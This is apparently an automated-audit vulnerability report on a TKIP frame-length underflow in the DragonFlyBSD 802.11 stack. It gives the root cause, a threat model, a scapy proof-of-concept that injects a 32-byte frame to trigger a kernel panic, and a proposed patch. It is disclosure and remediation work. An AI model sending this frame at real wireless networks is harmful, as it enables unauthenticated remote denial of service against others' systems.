TKIP RX length underflow on too-short frames -> OOB read and KASSERT panic in wep_decrypt/michael_mic/m_copydata
| Field | Value |
|---|---|
| ID | DF-0594 |
| Status | new |
| Severity | High |
| CVSS 3.1 | CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-787 Out-of-bounds Read via integer signed/unsigned confusion (CWE-190, CWE-125) |
| File | sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c |
| Lines | 266-358, 994 (tkip_decap/tkip_decrypt), 357-361 (tkip_demic), 640/685/717 (wep_decrypt) |
| Area | netproto/802_11 (TKIP crypto) |
| Confidence | likely |
| Discovered | 2026-07-02 |
| Reported | pending |
Summary
tkip_decap accepts any frame that the upper layer ieee80211_crypto_decap
let through (>=32 B, the WEP minimum), but TKIP needs at least
hdrlen + ic_header(8) + ic_trailer(4) = 36 B for decrypt and
hdrlen + ic_miclen(8) = 32 B for demic. The length-arithmetic expressions
m->m_pkthdr.len - (hdrlen + tkip.ic_header + tkip.ic_trailer) (:994),
m->m_pkthdr.len - (hdrlen + tkip.ic_miclen) (:357), and
m->m_pkthdr.len - tkip.ic_miclen (:359) mix int (m_pkthdr.len) with
u_int (ic_header/ic_trailer/ic_miclen), so C converts the int to
unsigned and the subtraction silently wraps to a huge size_t / negative
int argument. wep_decrypt then walks past the mbuf valid data,
michael_mic reads *data past the last mbuf, and m_copydata is called
with a negative offset. On the DragonFlyBSD default X86_64_GENERIC
kernel (which builds with INVARIANTS) the KASSERT(data_len == 0, ...)
in wep_decrypt (:640) fires and panics the kernel โ a remote,
unauthenticated denial-of-service against any TKIP BSS using the software
crypto path. On non-INVARIANTS builds the reads are usually absorbed by
mbuf padding and the ICV/MIC check then fails silently, but an m_ext
whose backing store ends near a page boundary can still page-fault and
panic.
Root cause
Reachability of too-short frames. ieee80211_crypto_decap
(sys/netproto/802_11/wlan/ieee80211_crypto.c:585-633) checks only:
588: #define IEEE80211_WEP_MINLEN \
589: (sizeof(struct ieee80211_frame) + \
590: IEEE80211_WEP_HDRLEN + IEEE80211_WEP_CRCLEN) /* = 24 + 4 + 4 = 32 */
598: if (m->m_pkthdr.len < IEEE80211_WEP_MINLEN) { ... return NULL; }
This is a WEP-only constant; it is never adjusted for the actual cipher
(cip->ic_header/ic_trailer/ic_miclen). The subsequent
m_pullup(m, hdrlen + cip->ic_header) (:624-625) only guarantees
24 + 8 = 32 contiguous bytes for TKIP โ i.e. exactly the header + IV/EIV,
no payload/ICV/MIC. cip->ic_decap(k, m, hdrlen) is then called with a
too-short mbuf.
Missing length check in tkip_decap. tkip_decap
(sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c:265) does the ExtIV
check (:279) but no length check, computes the TSC (:299), passes
the replay check, and calls tkip_decrypt.
The signed/unsigned mismatch. At ieee80211_crypto_tkip.c:994:
994: data_len = m->m_pkthdr.len - (hdrlen + tkip.ic_header + tkip.ic_trailer);
m->m_pkthdr.len is int32_t (mbuf.h); tkip.ic_header/ic_trailer/
ic_miclen are u_int (ieee80211_crypto.h:177-179). Per C usual
arithmetic conversions, the int is converted to unsigned int, then
subtracted. For a 32-byte frame: (u_int)32 - (u_int)(24+8+4) = (u_int)32 -
(u_int)36 = 0xFFFFFFFC, widened to size_t 0x00000000FFFFFFFC, then passed
as data_len to wep_decrypt (:663).
The KASSERT panic. Inside wep_decrypt:
682: pos = mtod(m)+off;
683: buflen = m_len-off; /* when m_len==off==32: buflen = 0 */
...
697: if (m == NULL) {
698: KASSERT(data_len == 0, ...); /* fires: data_len is still 0xFFFFFFFC */
699: break;
700: }
On the DragonFlyBSD default X86_64_GENERIC kernel (which builds
INVARIANTS โ sys/config/X86_64_GENERIC:56), the KASSERT fires โ kernel
panic. For frames 33-35 bytes long, the ICV read *pos++ at :717 reads
past the mbuf's valid data region before the KASSERT path.
The same bug class in tkip_demic. At :357 and :359:
357: michael_mic(ctx, k->wk_rxmic, m, hdrlen,
358: m->m_pkthdr.len - (hdrlen + tkip.ic_miclen), /* int - u_int -> wrap */
359: mic);
360: m_copydata(m, m->m_pkthdr.len - tkip.ic_miclen, /* negative int offset */
361: tkip.ic_miclen, mic0);
For the mixed HW-decrypt + SW-MIC configuration (IEEE80211_KEY_SWDEMIC
without SWDECRYPT), the demic underflow is reachable without any ICV
guesswork. m_copydata and wep_decrypt each have only a KASSERT, no
runtime check, so on production kernels (no INVARIANTS) the reads proceed
silently into mbuf padding / external cluster tail and the resulting frame
is dropped at the ICV/MIC memcmp โ but for any cluster whose backing page
ends inside the read window this still page-faults.
Threat model & preconditions
- Attacker position: remote unauthenticated adjacent-network attacker โ any WiFi peer of a TKIP-protected BSS/IBSS. No pairwise handshake needed (group-key frames go through the same code, and a known PTK is not required to send a frame the AP will try to decrypt).
- Privileges gained or impact: kernel panic (deterministic on
INVARIANTS kernels including the default
X86_64_GENERIC) โ reliable remote DoS against any TKIP BSS using the software crypto path. On non-INVARIANTS builds: probabilistic panic via page fault onm_ext, or silent frame drop. No confidentiality or integrity impact (read bytes only feed an inequality check, never transmitted back). - Required config or capabilities: the receiver must use the TKIP
software crypto path โ i.e.
k->wk_flags & (IEEE80211_KEY_SWDECRYPT|IEEE80211_KEY_SWDEMIC). This is the case for: - USB WiFi adapters (most
run,rum,zyd,urtw,uraldrivers) which do not offload TKIP, - older PCI/PCIe drivers without TKIP offload,
- monitor-mode and protocol-test setups,
- the SW-decrypt + HW-MIC or HW-decrypt + SW-MIC mixed configurations
(the latter exposes the demic variant).
Modern full-offload drivers (most
iwm,iwlwifi,ath(4)on supported chips) bypass this code path entirely. - Reachability: inject a single 32-35 byte Protected+ExtIV data frame
with a strictly-increasing TSC (the replay check at
:300requires TSC > the receiver's last-seenwk_keyrsc[NONQOS_TID]; on a fresh key any TSC >= 1 works).
Proof of concept
PoC source: findings/poc/DF-0594/tkip_underflow.py (scapy-based
injection; needs a monitor-mode + frame-injection-capable WiFi NIC such as
AR9271 / ath9k_htc).
Build & run
# on the attacker (Linux + scapy + injection NIC in monitor mode): sudo pip install scapy sudo python3 tkip_underflow.py wlan0mon <target_ap_bssid> # on the target (DragonFlyBSD hostap vap with SW TKIP decrypt): # ifconfig wlan0 create wlandev run0 wlanmode hostap # ifconfig wlan0 inet 192.168.42.1/24 ssid testauth authmode wpa \ # wpaproto wpa wpakey <16-char-passphrase> wpaprotos wpa \ # wpakeymgmt wpa-psk wpaciphers tkip
Expected output
On the DragonFlyBSD target (INVARIANTS kernel):
panic: wep_decrypt: out of buffers with data_len 0xfffffffc
cpuid = 0
fatal kernel trap ...
db> tr
wep_decrypt+0x...
tkip_decrypt+0x...
tkip_decap+0x...
ieee80211_crypto_decap+0x...
ieee80211_input+0x...
On non-INVARIANTS kernels, look for Fatal trap 12: page fault while in
kernel mode in m_copydata/michael_mic for clusters ending at page
boundaries, or silent frame drops.
PoC frame
The trigger frame is exactly 32 bytes โ a 24-byte 3-address data header (Protected=1) plus the 8-byte TKIP IV/EIV (ExtIV bit set), with no payload/ICV/MIC:
# 802.11 data header, FromDS=0 ToDS=0, Protected=1
fc = 0x0808
hdr = struct.pack('<HH6s6s6sH', fc, 0,
b'\xff'*6, # addr1 = broadcast (group key)
b'\xaa\xbb\xcc\xdd\xee\xff', # addr2 = attacker (any)
b'\x11\x22\x33\x44\x55\x66', # addr3 = AP bssid
0x0010) # seq
# IV/EIV: TSC1, TSC1|0x20, TSC0, KeyID|ExtIV(0x20), TSC2, TSC3, TSC4, TSC5
# TSC = (TSC5..TSC0) = 0x000000000001 -> strictly increasing from 0
iveiv = bytes([0x01, 0x21, 0x01, 0x20, 0, 0, 0, 0])
frame = hdr + iveiv # 32 bytes total; no payload, no ICV, no MIC
sendp(RadioTap()/Raw(frame), iface='wlan0mon', count=1)
Impact
- Blast radius: any DragonFlyBSD system acting as a TKIP AP, mesh node, or STA using a driver that does not offload TKIP (USB WiFi adapters, older PCI/PCIe hardware, monitor-mode/test setups). TKIP is officially deprecated but still in active use on legacy networks and in test/lab/research setups.
- Severity rationale: High. Remote, unauthenticated, single-frame DoS
against the default kernel config (
X86_64_GENERICbuilds INVARIANTS), requiring only RF proximity to a TKIP BSS using the SW crypto path. No authentication or pairwise-key knowledge required to trigger the panic. CVSS 3.1 base โ 6.8. Rated High by the AGENT.md rubric ("remote DoS on default config"). Confidence "likely" rather than "certain" because the SW-crypto-path precondition is not universal (modern full-offload drivers bypass the bug), but it is a substantial fraction of real deployments. - Reliability: 100% on INVARIANTS kernels with the SW crypto path; frame is 32 bytes, no timing, no race, no key knowledge. Single packet.
Recommended fix
Add a TKIP-specific minimum-length check in tkip_decap before any
subtraction; reject frames whose total length is smaller than the cipher
requires. This both prevents the underflow and removes the dependence on
INVARIANTS for safety. Concurrently tighten the upper-layer MINLEN to use
the cipher's actual ic_header/ic_trailer/ic_miclen instead of the WEP
constants so all ciphers benefit.
--- a/sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c
+++ b/sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c
@@ -274,6 +274,17 @@ tkip_decap(struct ieee80211_key *k, struct mbuf *m, int hdrlen)
struct ieee80211_frame *wh;
uint8_t *ivp, tid;
+ /*
+ * Reject frames too short to contain header + IV/EIV + ICV.
+ * Without this, the length arithmetic below underflows: m->m_pkthdr.len
+ * is `int` while tkip.ic_header/ic_trailer/ic_miclen are `u_int`, so a
+ * too-short frame yields a huge size_t that wep_decrypt / michael_mic /
+ * m_copydata then use to walk past the mbuf chain (KASSERT panic on
+ * INVARIANTS kernels, OOB read on production kernels).
+ */
+ if (m->m_pkthdr.len < hdrlen + (int)tkip.ic_header + (int)tkip.ic_trailer)
+ goto tooshort;
+
/*
* Header should have extended IV and sequence number;
* verify the former and validate the latter.
@@ -344,6 +355,14 @@ tkip_demic(struct ieee80211_key *k, struct mbuf *m, int force)
if ((k->wk_flags & IEEE80211_KEY_SWDEMIC) || force) {
struct ieee80211vap *vap = ctx->tc_vap;
int hdrlen = ieee80211_hdrspace(vap->iv_ic, wh);
+
+ if (m->m_pkthdr.len < hdrlen + (int)tkip.ic_miclen) {
+ vap->iv_stats.is_rx_tkipformat++;
+ IEEE80211_DISCARD_MAC(vap, IEEE80211_MSG_CRYPTO,
+ wh->i_addr2, "TKIP", "%s",
+ "frame too short for MIC verification");
+ return 0;
+ }
u8 mic[IEEE80211_WEP_MICLEN];
u8 mic0[IEEE80211_WEP_MICLEN];
@@ -360,6 +379,17 @@ tkip_demic(struct ieee80211_key *k, struct mbuf *m, int force)
return 1;
+tooshort:
+ vap->iv_stats.is_rx_tkipformat++;
+ IEEE80211_DISCARD_MAC(vap, IEEE80211_MSG_CRYPTO, wh->i_addr2,
+ "TKIP", "frame too short: len %u, need >= %u",
+ m->m_pkthdr.len, hdrlen + tkip.ic_header + tkip.ic_trailer);
+ return 0;
+#undef tooshort
}
Optional defense-in-depth at the upper layer โ ieee80211_crypto.c's
ieee80211_crypto_decap should compute the minimum as
sizeof(struct ieee80211_frame) + cip->ic_header + cip->ic_trailer + cip->ic_miclen
instead of the WEP-only IEEE80211_WEP_MINLEN, so every cipher gets the
right floor. Also, cast all length arithmetic to int explicitly and
KASSERT(m_pkthdr.len >= hdrlen + ic_header + ic_trailer, ...) at the top
of tkip_decrypt.
References
- IEEE 802.11-2020 ยง12.5.2.2 (TKIP MPDU length requirements).
- Erik Tews / Martin Beck, Practical attacks against WEP and WPA, Tews/Beck 2009 โ for context on TKIP attack surface (this finding is a pre-auth DoS, distinct from the Beck-Tews MIC-recovery family).
- DragonFlyBSD
sys/config/X86_64_GENERIC:56โ default-config INVARIANTS knob that turns the OOB read into a deterministic panic.
Timeline
- 2026-07-02 Discovered during automated DragonFlyBSD kernel security audit.
- 2026-07-02 Reported to DragonFlyBSD security contact (pending).